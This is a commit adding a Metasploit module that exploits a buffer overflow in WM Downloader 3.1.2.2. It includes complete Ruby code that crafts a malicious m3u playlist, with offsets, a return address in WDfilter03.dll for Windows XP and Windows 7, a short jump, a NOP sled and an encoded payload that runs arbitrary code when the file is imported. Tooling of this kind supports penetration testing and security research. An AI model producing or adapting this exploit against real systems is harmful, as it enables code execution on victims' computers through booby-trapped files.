add wm downloader exploit from dookie

git-svn-id: file:///home/svn/framework3/trunk@9965 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/fileformat/wm_downloader_m3u.rb

@@ -0,0 +1,78 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'WM Downloader 3.1.2.2 Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
+				the application is used to import a specially crafted m3u file, a buffer overflow occurs
+				allowing arbitrary code execution.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'fdisk', 	# Original Exploit
+					'dookie'	# MSF Module
+				],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.exploit-db.com/exploits/14497/' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'seh',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 1000,
+					'BadChars' => "\x00\x09\x0a",
+					'StackAdjustment' => -3500
+				},
+			'Platform' => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ],	# p/p/r in WDfilter03.dll
+					[ 'Windows 7', { 'Ret' => 0x1001060C, 'Offset' => 43504 } ],	# p/p/r in WDfilter03.dll
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Jul 28 2010',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
+			], self.class)
+	end
+
+	def exploit
+
+		sploit = rand_text_alpha_upper(target['Offset'])
+		sploit << "\xeb\x16\x90\x90"	# Need a little longer jump to get over some cruft
+		sploit << [target.ret].pack('V')
+		sploit << "\x90" * 8
+		sploit << payload.encoded
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+
+		file_create(sploit)
+
+	end
+
+end